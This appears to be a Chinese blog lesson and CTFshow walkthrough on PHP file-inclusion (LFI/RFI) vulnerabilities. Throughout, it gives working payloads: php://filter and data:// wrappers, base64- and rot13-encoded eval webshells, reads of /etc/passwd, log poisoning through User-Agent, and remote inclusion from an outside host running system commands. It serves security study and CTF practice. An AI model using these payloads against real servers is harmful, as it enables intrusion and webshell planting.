【第50课】PHP应用&文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒

免责声明

本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。

如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。

文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。

#知识点

1、文件包含-原理&分类&危害-LFI&RFI
2、文件包含-利用-黑白盒&无文件&伪协议
在这里插入图片描述
在这里插入图片描述

1.文件包含-原理&分类&利用&修复

1、原理

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制,则存在文件包含漏洞,能够将包含的文件(不限格式后缀)以脚本方式运行。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

 <?php include "xx.xx";?> 这种是包含指定页面,不存在文件包含漏洞
 <?php include $_GET[x];?> 这种通过动态变量的传参才存在文件包含漏洞

在这里插入图片描述
在这里插入图片描述

2、分类

本地包含-Local File Include-LFI
(包含的文件都是本地服务器上的,可以包含图片马,敏感文件,日志等等)x.php?x=xx.xx
在这里插入图片描述
远程包含-Remote File Include-RFI(较少)
x.php?x=http://xxxxx/x.xx (要保证php.ini中allow_url_fopen和allow_url_include要为On)
在这里插入图片描述

3、白盒审计:

-白盒发现:
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等

PHP:include、require、include_once、require_once等
include 找不到被包含的文件还能执行脚本,只会弹出警告
require 找不到被包含文件,整个脚本都不能执行

Java:java.io.File、java.io.FileReader等

ASP.NET:System.IO.FileStream、System.IO.StreamReader等

4、黑盒分析:

-黑盒发现:主要观察参数传递的数据和文件名是否对应
URL中有path、dir、file、pag、page、archive、p、eng、语言文件等相关字眼

5、利用(无文件就是指目标没有上传点,只能包含服务器已经存在的文件)

本地利用思路:

1、配合文件上传(目标有上传点,自己上传一个恶意代码的文件)
2、无文件包含日志
3、无文件包含SESSION
4、无文件支持伪协议利用

在这里插入图片描述
参考:文件包含漏洞+php伪协议_文件包含漏洞伪协议利用-CSDN博客

文件读取:
方式一:
file:///etc/passwd

在这里插入图片描述

方式二:
php://filter/read=convert.base64-encode/resource=phpinfo.php

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

文件写入:
方式一:
php://filter/write=convert.base64-encode/resource=phpinfo.php  //这个需要代码里有两个参数才行

在这里插入图片描述
注:131要改为base64编码才行,图里是错误的
在这里插入图片描述
在这里插入图片描述

方式二:
php://input 
POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

代码执行:
方式一:
php://input 
POST:<?php phpinfo();?>

在这里插入图片描述

方式二:
data://text/plain,<?php phpinfo();?>

在这里插入图片描述

方式三:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

在这里插入图片描述
在这里插入图片描述

远程利用思路:

直接搭建一个可访问的远程URL包含文件(不能是脚本文件,其他后缀随意,可包含一句话getshell)
在这里插入图片描述

2. 黑盒利用-VULWEB

Home of Acunetix Art
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3. 白盒利用-CTFSHOW-伪协议玩法

https://ctf.show/challenges //专门的CTF网站,对新手比较友好

78-php&http协议

在这里插入图片描述

方式一:
payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述
在这里插入图片描述

方式二:
payload: ?file=php://input post:<?php system('tac flag.php');?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

方式三:
payload: ?file=http://www.xiaodi8.com/1.txt 
远程1.txt: <?php system('tac flag.php');?> //也可以写一句话木马连上去

在这里插入图片描述
在这里插入图片描述

79-data&http协议

在这里插入图片描述

方式一:
payload: ?file=data://text/plain,<?=system('tac flag.*');?>
方式二:
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

方式三:
payload: ?file=http://www.xiaodi8.com/1.txt 
1.txt:<?php system('tac flag.php');?>

80-81-日志包含

在这里插入图片描述
1、利用其他协议,如file,zlib等
2、利用日志记录UA特性包含执行
故利用日志记录UA信息,UA带入后门代码或者system代码
包含:/var/log/nginx/access.log
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

87-php://filter/write&加密编码

在这里插入图片描述
1、利用base64:

url编码2次:php://filter/write=convert.base64-decode/resource=123.php 
content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
2、利用凯撒13(类似base64的加密方式):
url编码2次:php://filter/write=string.rot13/resource=2.php
content=<?cuc riny($_CBFG[1]);?>
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

88-data&base64协议

过滤PHP,各种符号,php代码编码写出无符号base64值
在这里插入图片描述

Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

117-php://filter/write&新的算法

在这里插入图片描述

代理中并没有过滤php
生成脚本
<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>

在这里插入图片描述
与凯撒13加密差不多,只不过换了另外一种方式

Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?

在这里插入图片描述
在这里插入图片描述

文章知识点与官方知识档案匹配,可进一步学习相关知识

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值